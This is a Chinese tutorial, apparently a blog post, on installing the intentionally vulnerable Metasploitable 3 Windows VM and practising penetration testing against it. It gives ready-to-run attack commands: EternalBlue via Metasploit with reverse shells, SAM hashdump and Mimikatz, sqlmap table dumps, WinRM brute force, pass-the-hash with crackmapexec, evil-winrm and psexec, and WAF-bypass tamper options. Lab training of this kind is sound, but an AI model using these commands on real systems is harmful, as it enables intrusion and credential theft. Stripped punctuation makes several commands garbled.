Metasploitable 3 Windows版安装与渗透测试实战指南

发布时间:2026/7/7 10:44:05
Metasploitable 3 Windows版安装与渗透测试实战指南 1. 项目概述为什么我们需要 Metasploitable 3 Windows 版如果你正在学习网络安全尤其是渗透测试那么你一定听说过 Metasploitable。这个系列靶机是安全研究者和学习者的“练功房”它故意设计得漏洞百出让你可以合法、安全地练习各种攻击技术而不用担心法律风险。Metasploitable 3 是这个系列的最新版本它最大的亮点就是提供了 Windows 和 Linux 两个版本极大地扩展了我们的练习场景。今天我们就来深入聊聊 Windows 版的 Metasploitable 3从零开始手把手带你完成安装、配置并引导你进行初步的渗透测试实战。为什么 Windows 版如此重要因为在真实的企业环境中Windows 服务器和工作站占据了相当大的比例。Active Directory 域环境、IIS 服务器、MS SQL 数据库、SMB 文件共享……这些经典的 Windows 服务及其常见配置错误是渗透测试中绕不开的课题。Metasploitable 3 Windows 版就模拟了这样一个充满“坏习惯”和已知漏洞的 Windows Server 环境让你能在一个受控的沙箱里反复练习针对 Windows 系统的信息收集、漏洞利用、权限提升和横向移动。对于从 Kali Linux 等工具入门但想深入理解 Windows 内网安全的朋友来说这绝对是一个不可多得的宝藏资源。2. 环境准备与安装部署全解析2.1 核心工具链与系统要求在开始之前我们需要准备好“施工队”和“工地”。整个安装过程依赖于一套自动化构建工具官方推荐使用 Packer 和 Vagrant。别被这些名字吓到你可以把它们理解为“虚拟机定制流水线”和“虚拟机管理助手”。Packer由 HashiCorp 开发它的作用是根据我们提供的“配方”一个 JSON 配置文件自动从 ISO 镜像开始安装操作系统、打补丁、安装软件、配置服务最终生成一个可以直接使用的虚拟机镜像文件比如 .box 文件。对于 Metasploitable 3Packer 就是那个按照预设的“漏洞清单”一步步打造出这个脆弱靶机的总工程师。Vagrant同样来自 HashiCorp它是在 Packer 生成镜像之后用来快速启动、管理和配置虚拟机的工具。通过一个简单的vagrant up命令它就能调用 VirtualBox 或 VMware 等后端把 .box 镜像文件变成一台正在运行的虚拟机并完成网络、共享文件夹等设置。所以我们的准备工作清单如下虚拟机平台VirtualBox 或 VMware Workstation/Player。我个人更推荐 VirtualBox因为它是免费且开源的与 Vagrant 的集成也最成熟。确保安装最新版本。Packer从 HashiCorp 官网下载对应你操作系统Windows/macOS/Linux的二进制包解压后将packer.exeWindows或packer其他系统所在目录添加到系统的 PATH 环境变量中。Vagrant同样从官网下载安装程序一路下一步即可安装程序会自动配置环境变量。Git用于克隆 Metasploitable 3 的源代码仓库。安装 Git 并确保git命令可以在命令行中运行。Windows 系统 ISO这是构建 Windows 版靶机的原材料。重要提示由于版权原因官方构建脚本不会提供 Windows ISO需要你自己准备。你需要一个 Windows Server 2008 R2 或 Windows 7 的 ISO 镜像文件。构建脚本主要是为这些旧版本系统设计的因为它们包含了大量已被公开的经典漏洞。足够的磁盘空间和内存构建过程会产生中间文件最终生成的虚拟机磁盘文件也较大。建议预留至少 40GB 的可用磁盘空间。为运行该虚拟机建议主机至少有 8GB 内存并为虚拟机分配 2-4GB。注意整个安装过程需要在命令行Windows 下是 PowerShell 或 CMDLinux/macOS 下是终端中完成并且需要保持稳定的网络连接因为构建过程中会下载必要的依赖包和补丁。2.2 分步构建 Metasploitable 3 Windows 虚拟机假设我们已经安装好了 VirtualBox、Vagrant 和 Packer并且已经下载好了名为Win2008R2.iso的镜像文件放在D:\ISOs\目录下。接下来我们开始“施工”。第一步获取源码打开命令行切换到一个你打算存放项目的目录例如D:\VMs\执行克隆命令git clone https://github.com/rapid7/metasploitable3.git cd metasploitable3这会把官方的构建脚本和配置文件下载到本地。第二步配置构建参数关键步骤Metasploitable 3 的构建脚本通过环境变量来接收参数。我们需要告诉它 Windows ISO 文件在哪里以及我们想要构建哪个版本。在 Windows PowerShell 中你可以这样设置一次性$env:MS3_WIN_ISO_PATH D:\ISOs\Win2008R2.iso在 Windows CMD 中set MS3_WIN_ISO_PATHD:\ISOs\Win2008R2.iso在 Linux/macOS 的 Bash 或 Zsh 中export MS3_WIN_ISO_PATH/path/to/your/Win2008R2.iso这个环境变量是构建 Windows 靶机的关键脚本会读取这个路径下的 ISO 文件作为安装源。第三步启动构建过程在metasploitable3目录下运行针对 Windows 的构建命令packer build --onlyvirtualbox-iso ./packer/templates/windows_2008_r2.json这个命令解读一下packer build是启动构建的命令--onlyvirtualbox-iso指定我们只构建 VirtualBox 格式的镜像如果你想构建 VMware 格式需要相应的 OVF 工具并修改参数最后指向 Windows 靶机的模板文件windows_2008_r2.json。第四步耐心等待构建完成这是最漫长的一步可能会持续1 到 3 个小时具体取决于你的网络速度和电脑性能。Packer 会自动完成以下工作创建一个新的虚拟机挂载你提供的 ISO。全自动安装 Windows 操作系统无需人工干预。安装 Windows 自动化框架 PowerShell 和必要的模块。运行一系列“漏洞注入”脚本。这些脚本会做很多“坏事”比如安装存在漏洞的旧版软件如 Apache Tomcat, WordPress、配置弱密码、开启不安全的服务如 SMBv1、创建存在 SQL 注入点的 Web 应用、设置权限配置错误的共享文件夹等。进行系统快照可选并最终输出一个.box格式的 Vagrant 镜像文件。在这个过程中命令行窗口会滚动大量日志。只要没有出现红色的错误信息并最终停止就说明在正常进行。你可以去喝杯咖啡耐心等待。第五步添加并启动虚拟机构建成功后你会在当前目录下找到一个名为metasploitable3-win2k8.box或类似名称的文件。接下来使用 Vagrant 来管理它。将这个 box 文件添加到 Vagrant 的本地仓库vagrant box add metasploitable3-win2k8 ./metasploitable3-win2k8.box初始化一个 Vagrant 环境来使用这个 box。你可以新建一个目录或者就在metasploitable3目录下vagrant init metasploitable3-win2k8这会在当前目录生成一个Vagrantfile配置文件。启动虚拟机vagrant upVagrant 会启动 VirtualBox并加载我们刚刚构建的镜像。首次启动会进行一些初始化配置。第六步连接与验证虚拟机启动后默认配置了一个 Host-Only 网络适配器其 IP 地址通常是192.168.56.101你可以在 VirtualBox 管理界面或使用vagrant ssh命令查看但 Windows 靶机默认没有开 SSH所以主要看 VirtualBox 的网络设置。你可以直接在 VirtualBox 的控制台里打开虚拟机看到 Windows 的登录界面。更重要的是从你的主机比如 Kali Linux 虚拟机或物理机上尝试 ping 一下这个 IP看是否能通。如果能通说明靶机网络配置成功可以开始进行渗透测试了。实操心得构建过程最容易出问题的地方有两个。一是环境变量MS3_WIN_ISO_PATH没设置或路径错误Packer 会报错找不到 ISO。二是网络问题导致在下载 Windows 更新或软件包时超时失败。如果构建失败仔细阅读命令行最后的错误信息通常都能找到线索。另外确保你的主机 BIOS 中已开启虚拟化支持Intel VT-x / AMD-V否则虚拟机性能会极差甚至无法运行。3. 靶机信息收集与漏洞初探虚拟机跑起来了面对这个陌生的“黑盒”我们第一步该做什么绝不是拿起漏洞扫描器一顿乱扫。专业的渗透测试始于细致的信息收集。我们的目标是搞清楚“目标是谁”、“它开了什么门”、“墙上有没有裂缝”。3.1 基础网络与端口扫描首先确认靶机存活和基础网络信息。从你的攻击机比如 Kali Linux执行ping -c 4 192.168.56.101收到回复说明主机在线网络可达。接下来使用nmap进行端口扫描这是发现开放服务的“雷达”。nmap -sV -sC -O -p- 192.168.56.101这个命令组合非常强大-sV探测服务版本。知道是 Apache 2.2.15 还是 IIS 7.5对后续寻找漏洞至关重要。-sC使用默认的 Nmap 脚本进行更深入的探测可能会发现一些默认配置泄露的信息。-O尝试识别操作系统。-p-扫描所有 65535 个端口避免遗漏高端口服务。扫描完成后你会得到一份详细的报告。对于 Metasploitable 3 Windows 版你大概率会看到如下一些关键端口80/tcp, 443/tcpHTTP/HTTPS 服务。运行着存在漏洞的 Web 应用比如 WordPress、一个自定义的银行应用等。135/tcp, 139/tcp, 445/tcp经典的 Windows SMB/RPC 服务端口。这里是弱密码、永恒之蓝MS17-010等漏洞的高发区。21/tcpFTP 服务。很可能允许匿名登录或者存在配置问题。25/tcp, 110/tcpSMTP 和 POP3 邮件服务。1433/tcpMicrosoft SQL Server 端口。可能存在弱口令 sa 账户。3389/tcp远程桌面协议RDP端口。是横向移动和图形化访问的关键。5985/tcp, 5986/tcpWindows 远程管理WinRM端口用于 PowerShell 远程管理。4848/tcp, 8009/tcp, 8080/tcp可能运行着存在漏洞的 Apache Tomcat 或 GlassFish 应用服务器。3.2 服务枚举与漏洞线索挖掘拿到端口列表后我们需要对关键服务进行深度枚举。针对 SMB 服务445端口使用enum4linux或smbclient来枚举共享、用户和组信息。enum4linux -a 192.168.56.101这个命令会尝试匿名或空会话连接枚举出靶机上的用户列表如 Administrator, Guest, Bob, Jane 等、共享文件夹列表。你可能会发现一些可读或可写的共享这是获取初始文件或上传后门的好途径。针对 Web 服务80/443端口使用浏览器访问http://192.168.56.101和https://192.168.56.101。查看首页点击所有链接观察是否存在像 WordPress、phpMyAdmin 这样的应用。使用dirb,gobuster或ffuf进行目录爆破寻找隐藏的管理后台、配置文件、备份文件等。gobuster dir -u http://192.168.56.101 -w /usr/share/wordlists/dirb/common.txt手动测试每一个输入点。在登录框尝试admin:admin、admin:password等常见弱口令或者输入、看是否有 SQL 注入或 XSS 错误回显。查看网页源代码注释里可能藏着密码、路径等敏感信息。针对 MS SQL Server1433端口使用sqsh或 Metasploit 的mssql_ping模块来探测并尝试用弱口令连接。一个经典的测试就是sa账户空密码。# 使用 impacket 工具集的 mssqlclient.py python3 mssqlclient.py -windows-auth Administrator192.168.56.101 # 或者使用 Metasploit msfconsole use auxiliary/scanner/mssql/mssql_login set RHOSTS 192.168.56.101 run如果成功你就获得了数据库的最高权限可以执行系统命令、上传文件是获得系统权限的绝佳跳板。注意事项在真实测试中信息收集阶段要尽可能安静避免触发入侵检测系统IDS。但在 Metasploitable 这样的实验环境中我们可以放开手脚。务必养成记录的习惯用一个笔记软件或文本文件记录下发现的每一个 IP、端口、服务版本、可能的漏洞、尝试过的用户名密码等。这些信息在后续的漏洞利用和横向移动中会形成宝贵的“情报网”。4. 典型漏洞利用实战演练基于信息收集的结果我们已经发现了一些“裂缝”。现在让我们挑选几个 Metasploitable 3 Windows 版中经典的漏洞场景进行实战利用。4.1 利用永恒之蓝MS17-010获取系统权限永恒之蓝是 NSA 泄露的针对 Windows SMBv1 协议的远程代码执行漏洞影响范围极广。Metasploitable 3 的 Windows 2008 R2 正好在影响范围内且未打补丁。利用步骤启动 Metasploit Framework在 Kali 中打开终端输入msfconsole。搜索并加载漏洞模块search ms17-010 # 会列出多个相关模块我们选择 exploit/windows/smb/ms17_010_eternalblue use exploit/windows/smb/ms17_010_eternalblue配置模块参数set RHOSTS 192.168.56.101 # 通常不需要设置 RPORT (445) 和 LHOST你的 Kali IP用于反弹shell因为模块有默认值或会自动检测。 # 但为了可靠最好显式设置 LHOST set LHOST 192.168.56.102 # 假设你的Kali IP是 .102运行检查在发起攻击前可以先运行检查模块确认目标是否真的存在漏洞。use auxiliary/scanner/smb/smb_ms17_010 set RHOSTS 192.168.56.101 run如果显示VULNERABLE则确认漏洞存在。执行攻击切换回攻击模块并执行。use exploit/windows/smb/ms17_010_eternalblue set RHOSTS 192.168.56.101 set LHOST 192.168.56.102 exploit获取 Meterpreter Shell如果利用成功你会看到Meterpreter session X opened的提示并进入一个meterpreter 的交互式命令行。这意味着你已经以SYSTEM权限Windows 最高权限控制了目标机器。在 Meterpreter 中可以做什么sysinfo查看系统信息。getuid查看当前权限。hashdump导出所有用户的密码哈希值存储在 SAM 数据库中可用于后续的密码破解或“传递哈希”攻击。shell进入一个标准的 Windows cmd shell。upload /path/to/local/file C:\\Windows\\Temp\\上传文件到靶机。download C:\\important.txt /tmp/从靶机下载文件。4.2 攻击存在 SQL 注入的 Web 应用获取数据假设我们在信息收集中发现http://192.168.56.101/bank是一个在线银行应用并且登录框存在 SQL 注入。手动测试在用户名输入admin or 11密码任意。如果成功登录说明存在基于字符串的 SQL 注入。更专业的测试可以使用sqlmap。使用 sqlmap 自动化利用找到注入点。例如发现http://192.168.56.101/bank/login.php的user参数存在注入。使用 sqlmap 进行探测和利用sqlmap -u http://192.168.56.101/bank/login.php?useradminpasstest --datauseradminpasstest --level3 --risk2-u指定目标 URL。--data指定 POST 请求的数据。--level和--risk提高检测级别和风险等级进行更深入的测试。枚举数据库信息sqlmap -u http://192.168.56.101/bank/login.php --datauseradminpasstest --dbs获取数据库列表。枚举特定数据库的表例如bankdbsqlmap -u http://192.168.56.101/bank/login.php --datauseradminpasstest -D bankdb --tables导出表数据例如users表sqlmap -u http://192.168.56.101/bank/login.php --datauseradminpasstest -D bankdb -T users --dump这样你就能获取到应用数据库中的所有用户凭证可能包含明文密码或可破解的哈希值。这些凭证很可能在系统其他服务如 SMB、RDP中被重复使用。4.3 通过弱口令或配置错误的 WinRM 进行远程命令执行WinRMWindows Remote Management是 Windows 的远程管理协议。如果配置不当如允许 HTTP 基本认证或用户密码过于简单攻击者可以直接远程执行 PowerShell 命令。使用 crackmapexec 进行爆破和利用crackmapexec winrm 192.168.56.101 -u users.txt -p passwords.txt这个命令会尝试用users.txt文件中的用户名列表和passwords.txt中的密码列表对靶机的 WinRM 服务5985端口进行爆破。Metasploitable 3 中预设了一些弱密码用户如Bob:password123。如果爆破成功crackmapexec 会显示认证成功的用户。随后我们可以使用evil-winrm工具建立一个功能完整的 WinRM 会话evil-winrm -i 192.168.56.101 -u Bob -p password123连接成功后你将获得一个 PowerShell 会话权限就是 Bob 用户的权限。你可以在此执行命令、上传下载文件为进一步提权做准备。5. 权限提升与内网横向移动思路通过前面的攻击我们可能已经获得了一个初始立足点比如一个 Web Shell权限较低或者一个像 Bob 这样的普通用户权限。我们的目标是获得最高权限SYSTEM/Administrator并探索内网虽然这里单机但思路一致。5.1 本地权限提升Privilege Escalation在获得的 Meterpreter 或 WinRM 会话中我们可以进行本地信息收集寻找提权机会。系统信息收集systeminfo查看系统详细配置、补丁列表。缺失的补丁号对应着已知的本地提权漏洞。whoami /priv查看当前用户拥有的特权。如果启用了SeImpersonatePrivilege或SeAssignPrimaryTokenPrivilege可能可以利用“土豆系列”如 Juicy Potato, Rogue Potato进行提权。net user和net localgroup administrators查看用户和本地管理员组。使用自动化脚本上传并运行WinPEAS或PowerUp.ps1PowerSploit 套件的一部分。这些脚本会自动检查常见的错误配置如可写的服务路径、AlwaysInstallElevated 策略、弱服务的二进制文件权限等。在 Meterpreter 中可以使用post/multi/recon/local_exploit_suggester模块它会根据系统信息和补丁情况推荐合适的本地提权漏洞利用模块。利用未打补丁的漏洞如果systeminfo显示缺少某个补丁例如 KB4562560可以在 Exploit-DB 或 GitHub 上搜索对应的本地提权 EXP上传到靶机并执行。利用服务配置错误如果发现某个以 SYSTEM 权限运行的服务其可执行文件路径的目录权限允许普通用户写入我们可以用恶意的可执行文件替换它然后重启服务或等待系统重启来获得 SYSTEM 权限。5.2 横向移动Lateral Movement在真实的域环境中获得一台机器的权限后我们会尝试访问网络中的其他机器。Metasploitable 3 是单机但我们可以练习相关技术。凭证窃取与重用使用 Meterpreter 的hashdump或kiwiMimikatz模块抓取内存中的明文密码和哈希值。假设我们抓取到了 Administrator 的 NTLM 哈希aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0这是空密码的哈希实际会更复杂。我们可以使用“传递哈希”Pass-the-Hash攻击在不破解密码的情况下直接使用这个哈希去访问其他支持 NTLM 认证的服务如 SMB, WinRM。# 使用 crackmapexec 进行传递哈希攻击访问 SMB crackmapexec smb 192.168.56.101 -u Administrator -H aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 --shares # 使用 evil-winrm 进行传递哈希攻击访问 WinRM evil-winrm -i 192.168.56.101 -u Administrator -H aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0利用 PSExec 或 WMI 执行远程命令在获得了域内某台机器的管理员凭证后可以使用psexec.pyimpacket 套件或 Metasploit 的psexec模块在远程机器上执行命令并获得一个交互式 shell。python3 psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 Administrator192.168.56.101利用计划任务Scheduled Tasks通过 WMI 或 WinRM可以在远程主机上创建计划任务来执行我们的后门程序从而实现远程代码执行。6. 常见问题与排查技巧实录在安装和测试 Metasploitable 3 的过程中你几乎一定会遇到一些问题。下面是我踩过的一些坑和解决方法。6.1 安装与构建问题问题1Packer 构建失败提示“Windows 安装超时”或卡在某个步骤。原因网络不稳定导致 Windows 更新或组件下载失败ISO 镜像不匹配或损坏主机资源CPU/内存不足。解决检查MS3_WIN_ISO_PATH环境变量路径是否正确ISO 文件是否完整。建议使用官方原版镜像。为 Packer 虚拟机分配更多资源。可以编辑 Packer 模板文件windows_2008_r2.json找到memory: 2048和cpus: 2这样的配置适当调高如内存4096CPU 4。在稳定的网络环境下重试。如果是因为下载特定补丁失败可以尝试先手动下载并放到 Packer 缓存目录但操作较复杂。最直接的方法是重试几次。问题2vagrant up启动失败报错“Box 格式不支持”或“找不到虚拟机”。原因构建生成的.box文件不完整或者 Vagrant 与 VirtualBox 版本不兼容。解决确保使用vagrant box add添加 box 时指定的名称和vagrant init时使用的名称一致。删除有问题的 box 和虚拟机重新构建。vagrant destroy -f vagrant box remove metasploitable3-win2k8 # 回到构建目录重新执行 packer build 和 vagrant box add更新 Vagrant 和 VirtualBox 到最新版本。6.2 渗透测试连接问题问题3能 ping 通靶机但 nmap 扫描不到任何端口。原因Windows 防火墙默认是开启的它阻止了入站连接。解决登录到 Metasploitable 3 的虚拟机控制台在 VirtualBox 里打开手动关闭防火墙。点击“开始” - “控制面板” - “系统和安全” - “Windows 防火墙”。点击“打开或关闭 Windows 防火墙”。将“专用网络设置”和“公用网络设置”都选为“关闭 Windows 防火墙”。点击“确定”。之后nmap 扫描应该就能看到开放的端口了。问题4使用永恒之蓝模块攻击时总是失败提示“Target is not vulnerable”。原因虽然系统未打补丁但可能由于内存布局、SMB 签名要求或网络不稳定导致利用失败。解决确保靶机防火墙已关闭。在 Metasploit 中尝试使用exploit/windows/smb/ms17_010_psexec模块它比 EternalBlue 更稳定一些。调整攻击载荷Payload。有时默认的windows/x64/meterpreter/reverse_tcp不稳定可以尝试windows/x64/shell/reverse_tcp。多重启几次靶机再试。EternalBlue 利用对系统状态有一定要求。问题5使用 sqlmap 测试 Web 注入点时被 WAFWeb 应用防火墙拦截或连接被重置。原因Metasploitable 3 中的某些 Web 应用可能配置了简单的防护规则或者 sqlmap 的测试流量触发了异常。解决使用--random-agent参数随机化 User-Agent 头。使用--delay参数在请求间加入延迟降低请求频率。使用--tamper参数尝试使用编码脚本绕过。例如--tamperspace2comment。如果只是学习可以暂时关闭相关防护如果知道如何配置的话或者专注于手动测试理解原理。6.3 后期维护与重置问题6虚拟机被我“玩坏了”系统异常或想恢复初始状态。解决Vagrant 提供了便捷的重置方式。# 在 Vagrantfile 所在目录下 vagrant destroy -f # 强制销毁当前虚拟机 vagrant up # 重新从 box 镜像创建并启动一个全新的虚拟机这比使用 VirtualBox 的快照回滚更方便能确保每次都是一个干净的、初始化的漏洞环境。问题7我想修改靶机的网络配置比如改成桥接模式让局域网其他机器也能访问。解决编辑Vagrantfile文件。找到网络配置部分默认是config.vm.network private_network, ip: 192.168.56.101可以注释掉这行并取消注释或添加桥接配置config.vm.network public_network然后执行vagrant reload。重启时VirtualBox 会弹窗让你选择要桥接到哪个物理网卡。选择后虚拟机会通过 DHCP 获取一个和你主机在同一网段的 IP 地址。